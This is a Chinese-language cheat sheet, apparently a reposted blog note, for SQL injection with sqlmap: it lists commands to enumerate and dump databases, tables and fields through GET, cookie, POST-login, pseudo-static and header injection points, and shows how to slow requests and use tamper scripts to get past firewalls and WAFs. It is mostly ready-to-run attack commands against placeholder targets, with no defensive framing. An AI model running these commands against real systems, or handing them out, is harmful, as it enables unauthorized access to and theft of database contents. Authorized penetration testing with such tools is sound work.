sql注入攻擊sqlmap-2
- 2020 年 3 月 10 日
- 筆記
sql注入攻擊sqlmap-2
cn0sec 2020-02-28
access注入
sqlmap.py -u "url" ==檢測 sqlmap.py -u "url" --tables ==猜表 sqlmap.py -u "url" --columns -T "表名" ==猜欄位 sqlmap.py -u "url" --dump -T "表名" -C "欄位,欄位" ==暴表裡面的欄位的內容
Mysql數據注入
sqlmap.py -u url --privileg ==查看許可權(root什麼什麼的) sqlmap.py -u url --is-dba ==判斷是不是root許可權 sqlmap.py -u url --dbs ==獲取資料庫 sqlmap.py -u url --tables -D "資料庫名" ==獲取當中的資料庫的表 sqlmap.py -u url --columns -D "資料庫名" -T "表名" ==獲取資料庫 表中的欄位 sqlmap.py -u url --dump -D "資料庫名" -T "表名" -C "欄位,欄位" ==獲取資料庫表的欄位里的內容
Cookie注入
注入點:http://xxx.com/1.php?id=9 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2 ==暴表名 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2 ==暴表的欄位 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "欄位,欄位" --level 2 ==暴表的欄位內容
默認情況下SQLMAP
只支援GET/POST
參數的注入測試,但是當使用–level
參數且數值>=2
的時候也會檢查cookie
的參數,當>=3
的時候將檢查User-agent
和Referer
。 利用sqlmap cookies
注入突破用戶登錄繼續注入 先把用戶登陸的cookie
拿到,可以在收藏夾添加一個鏈接cookies
屬性:名字自己取 javascript:alert(document.cookie)
,需要獲取當前cookie的時候, 直接點一下這個鏈接,然後複製一下彈出對話框 里的cookie值就搞定了
在Google瀏覽器,按F12-->
找到Application-->
選擇其中的Cookies-->
最後可以在裡面找到對應的值可以了。
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=」info=username=test」
-p是指指定參數注入
post登陸注入 mssql
sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs ==獲取資料庫名 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "資料庫名" ==列表 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "資料庫名" ==暴欄位 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "欄位,欄位" -T "表" -D "數據名" ==暴欄位內容
我們在使用Sqlmap
進行post
型注入時, 經常會出現請求遺漏導致注入失敗的情況。這裡分享一個小技巧,即結合burpsuite
來使用sqlmap
, 用這種方法進行post注入測試會更準確,操作起來也非常容易。
1. 瀏覽器打開目標地址http:// www.xxx.com /Login.asp 2. 配置burp代理以攔截請求 3. 點擊login表單的submit按鈕 4. 這時候Burp會攔截到了我們的登錄POST請求 5. 把這個post請求複製為txt,然後把它放至sqlmap目錄下 6. 運行sqlmap並使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass` 這裡參數-r 是讓sqlmap載入我們的post請求rsearch-test.txt, 而用-p指定注入用的參數。
偽靜態注入
注入點:http://xxx.com/Index/view/id/40.html (注意:要加個* 哪裡存在注入就加上 * 號) sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs ==獲取資料庫名 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "數據名" ==獲取資料庫當中的表 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "數據名" -T "表名" ==獲取資料庫的表中的欄位 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "數據名" -T "表名" -C "欄位,欄位" ==獲取資料庫的表中的欄位內容
請求延時(一般突破防火牆)
第一種方法:sqlmap.py -u url --delay 2 (注意:2是兩秒的意思,也就是說2秒訪問一次) 第二種方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思) 可以組合使用 sqlmap.py -u url --delay 2 --safe-freq 3
利用文件來注入
GET /?id=1 HTTP/1.1 Host: www.why25.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 x-forwarded-for: 1*(存在注入) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638 Connection: keep-alive Cache-Control: max-age=0 星號(*) 指定注入點
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1 注意: --level 是測試等級意思就是說我要更加耐心仔仔細細的加強檢測等級3 如果沒有level 默認等級是1的
sqlmap遇到url重寫的注入
sqlmap.py -u 「http://www.xxx.com/id1/1*/id2/2「 哪裡存在注入就加上 * 號
sqlmap 編碼繞waf注入
sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms 「MySQL」 –technique U -p id –batch –tamper 「space2morehash.py」
在sqlmap 的 tamper目錄下有很多space2morehash.py
編碼腳本自行載入
sqlmap編碼腳本
sqlmap擁有很多功能強力的插件,插件的使用方法: -- tamper 「插件名稱」
其中常用到的bypass腳本繞過SQLMAP主要兩個腳本: space2hash.py ,對於MYSQL資料庫 4.0, 5.0注入 space2morehash.py ,對於MYSQL資料庫 >= 5.1.13 和 MySQL 5.1.41 注入 首先確定目標資料庫版本,然後選擇相應的腳本。 -v 3 --batch --tamper "space2hash.py" 還有其他一些插件: encodes編碼 ——charencode.py base64編碼 —— base64encode.py 替換空格和關鍵字 —— halfversionedmorekeywords.py
SQL注入實質就是閉合前一句查詢語句,構造惡意語句,惡意語句被代入SQL語句執行。